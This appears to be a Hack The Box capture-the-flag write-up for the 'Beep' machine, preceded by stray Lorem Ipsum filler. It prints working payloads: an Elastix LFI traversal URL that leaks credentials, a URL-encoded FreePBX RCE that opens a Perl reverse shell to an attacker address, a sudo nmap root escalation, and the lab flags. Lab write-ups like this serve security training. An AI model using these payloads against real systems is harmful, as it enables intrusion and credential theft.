Beep - Hack The Box

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hackthebox
Author

0xPThree

Published

July 27, 2020

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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  1. root@nidus:/git/htb/beep# nmap -Pn -n 10.10.10.7 Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-30 11:22 CEST Nmap scan report for 10.10.10.7 Host is up (0.037s latency). Not shown: 988 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 110/tcp open pop3 111/tcp open rpcbind 143/tcp open imap 443/tcp open https 993/tcp open imaps 995/tcp open pop3s 3306/tcp open mysql 4445/tcp open upnotifyp 10000/tcp open snet-sensor-mgmt

    DIRB:

    NIKTO:

  2. Looking on port 80 we are instantly forwarded to the 443 version prompting us with a Elastix login screen. Googling for this we find bunch of exploits, amongst other a authenticated RCE privesc and a unauthenticated LFI that seems promising.

    root@nidus:/git/htb/beep# searchsploit elastix —————————————————————————————————————————- ——————————— Exploit Title | Path —————————————————————————————————————————- ——————————— .. Elastix 2.2.0 - ‘graph.php’ Local File Inclusion | php/webapps/37637.pl —————————————————————————————————————————- ———————————

    Reading the code (searchsploit -x 37637.pl) we find that is real simple and can be done directly in the browser. #LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

    Visit: https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

    In all the text we find the following lines: # This is the default admin name used to allow an administrator to login to ARI bypassing all security. # Change this to whatever you want, don’t forget to change the ARI_ADMIN_PASSWORD as well ARI_ADMIN_USERNAME=admin

    # This is the default admin password to allow an administrator to login to ARI bypassing all security. # Change this to a secure password. ARI_ADMIN_PASSWORD=jEhdIekWmdjE

    Logging in to the site gives me the message “Error - Access denied for 10.10.14.4. The host has been blocked because of too many authentication failures”

  3. Wait for the block go timeout, and then login to the elastix service, https://10.10.10.7/. Continue to search for elastix exploits we find a RCE: FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution | php/webapps/18650.py

    Just like previous exploit, this is a one-liner that can be used from the URL. For it to work we need to specify LHOST = 10.10.14.10 LPORT = 4488 RHOST = 10.10.10.7 EXTENSION = ?

    Looking in Elastix > PBX we find the extension ‘Fanis Papafanopoulos <233>’, so set this value to 233. Setup a listener and paste your one-liner to exploit.

    https://10.10.10.7/recordings/misc/callme_page.php?action=c&callmenum=233@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%2210.10.14.10%3a4488%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A

    [root:/git/htb/beep]# nc -lvnp 4488 (master✱) listening on [any] 4488 … connect to [10.10.14.10] from (UNKNOWN) [10.10.10.7] 40047 whoami asterisk python -c ‘import pty;pty.spawn(“/bin/bash”)’ bash-3.2$

    bash-3.2$ sudo -l Matching Defaults entries for asterisk on this host: env_reset, env_keep=“COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY”

    User asterisk may run the following commands on this host: (root) NOPASSWD: /sbin/shutdown (root) NOPASSWD: /usr/bin/nmap (root) NOPASSWD: /usr/bin/yum (root) NOPASSWD: /bin/touch (root) NOPASSWD: /bin/chmod (root) NOPASSWD: /bin/chown (root) NOPASSWD: /sbin/service (root) NOPASSWD: /sbin/init (root) NOPASSWD: /usr/sbin/postmap (root) NOPASSWD: /usr/sbin/postfix (root) NOPASSWD: /usr/sbin/saslpasswd2 (root) NOPASSWD: /usr/sbin/hardware_detector (root) NOPASSWD: /sbin/chkconfig (root) NOPASSWD: /usr/sbin/elastix-helper

    bash-3.2$ sudo /usr/bin/nmap –interactive Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode – press h for help nmap> !sh sh-3.2# whoami root

     sh-3.2# cat /home/fanis/user.txt
   6e81a26eb20987c5ef0602984f0f66ee

 cat /root/root.txt
   f024f39974fa0274157fbe11845fffa7

(3). We got a password, trying password re-use seems to be a play here as well - we instantly get root. Grab the flags.

root@nidus:/git/htb/beep# ssh root@beep.htb
  Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
root@nidus:/git/htb/beep# ssh -oKexAlgorithms=+diffie-hellman-group-exchange-sha1 root@beep.htb
  root@beep.htb's password: jEhdIekWmdjE
    Last login: Tue Jul 16 11:45:47 2019

    Welcome to Elastix
    ----------------------------------------------------

    To access your Elastix System, using a separate workstation (PC/MAC/Linux)
    Open the Internet Browser using the following URL:
    http://10.10.10.7

  [root@beep ~]# cat root.txt
    d88e006123842106982acce0aaf453f0
  [root@beep ~]# ls -al /home/
    total 28
    drwxr-xr-x  4 root       root       4096 Apr  7  2017 .
    drwxr-xr-x 22 root       root       4096 Jul 30 12:10 ..
    drwxrwxr-x  2 fanis      fanis      4096 Apr  7  2017 fanis
    drwx------  2 spamfilter spamfilter 4096 Apr  7  2017 spamfilter
  [root@beep ~]# cat /home/fanis/user.txt
    aeff3def0c765c2677b94715cffa73ac

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Elastix LFI: https://www.exploit-db.com/exploits/37637